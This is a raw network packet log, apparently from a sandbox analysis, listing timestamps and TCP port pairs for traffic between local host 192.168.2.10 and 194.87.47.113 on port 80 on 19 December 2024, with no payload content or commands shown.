Dec 19, 2024 08:21:22.957304001 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.957392931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.958092928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.958161116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.958195925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.959007978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.959022999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.959065914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.959727049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.959789038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.959829092 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.960484982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.960524082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.960586071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.961365938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.961405039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.961442947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.980186939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.980252028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.980319023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.980331898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.980345964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.980380058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.980957031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.981009007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.981077909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.981708050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.981750965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.981810093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.982515097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.982585907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.982594967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.983273983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.983351946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.983422041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.984052896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.984095097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.984164953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.985044003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.985138893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.985177040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.985656977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.985723972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.985769987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.986531019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.986582994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.986664057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.987360001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.987402916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.987535000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.988219976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.988270998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.988312960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.988993883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.989072084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.989114046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.989687920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.989782095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.989828110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.990478992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.990540028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.990576982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.991291046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.991333961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.991336107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.992187023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.992283106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.992300987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.992882013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.992944956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.993005037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.993700027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.993750095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.993813992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.994467020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.994534969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.994597912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.995294094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.995409966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.995451927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.996081114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.996136904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.996258974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.996880054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.996929884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.996990919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.997651100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.997752905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.066757917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.066797972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.066858053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.066894054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.066968918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.067028046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.067771912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.067827940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.068186998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.068454027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.068526983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.068655014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.075007915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.075136900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.075198889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.075397015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.075433016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.075474024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.076280117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.076359987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.076427937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.076919079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.110723972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.110801935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.110877037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.111085892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.111135006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.111226082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.111915112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.111963987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.112030983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.112744093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.112801075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.112832069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.113545895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.113590002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.113605022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.114331007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.114377975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.114469051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.115145922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.115183115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.115194082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.127248049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.127321005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.127360106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.127573967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.127620935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.127626896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.128314972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.128439903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.128463984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.129187107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.129298925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.129334927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.129904032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.129971981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.130028009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.130726099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.130790949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.130845070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.131546021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.131602049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.131603003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.132401943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.132452965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.132476091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.133116007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.133202076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.133282900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.134140968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.134231091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.134485960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.149374008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.149436951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.149461031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.149635077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.149722099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.149769068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.150434971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.150484085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.150549889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.151187897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.151254892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.151340008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.152126074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.152175903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.152220011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.152826071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.152875900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.152942896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.153645992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.153711081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.153743029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.171919107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.171983957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.172027111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.172518969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.172555923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.172589064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.173002005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.173063993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.173105001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.173521042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.173564911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.173639059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.174329042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.174380064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.174463034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.175124884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.175193071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.175260067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.175925016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.176039934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.176099062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.176734924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.176795959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.176840067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.177530050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.177651882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.177711010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.178332090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.178383112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.178388119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.179131985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.179269075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.179418087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.179933071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.179991961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.180073023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.180746078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.180881023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.180933952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.181602955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.181658030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.181715012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.182356119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.182472944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.182528973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.183195114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.183331013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.183392048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.183929920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.183985949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.184061050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.184751034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.184850931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.184909105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.185519934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.185623884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.185671091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.186434031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.186525106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.186582088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.187163115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.187216997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.187223911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.187927008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.188047886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.188110113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.188733101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.188781977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.188788891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.189506054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.195192099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.258939028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.259018898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.259141922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.259305000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.259434938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.260073900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.260185003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.260265112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.260274887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.260915995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.266998053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.267102957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.267302036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.267378092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.267430067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.267488003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.268199921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.268214941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.268249989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.268955946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.269011021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.302829027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.302937984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.302989006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.303219080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.303327084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.303359985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.304096937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.304141998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.304964066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.305135012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.305354118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.305525064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.306282997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.306325912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.306375980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.306868076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.306920052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.307018042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.307555914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.307670116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.307789087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.319262028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.319345951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.319408894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.319628954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.319746971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.319799900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.320425987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.320532084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.320717096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.321238995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.321310043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.321376085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.322067022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.322257996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.322367907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.322992086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.323113918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.323165894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.323776007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.323873997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.323911905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.324414015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.324532032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.324641943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.325177908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.325403929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.325455904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.326081038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.326173067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.327164888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.341274977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.341422081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.341469049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.341583967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.341686010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.342180967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.342385054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.342704058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.342798948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.342848063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.343456030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.343512058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.343564987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.344285965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.344338894 CET	49720	80	192.168.2.10	194.87.47.113
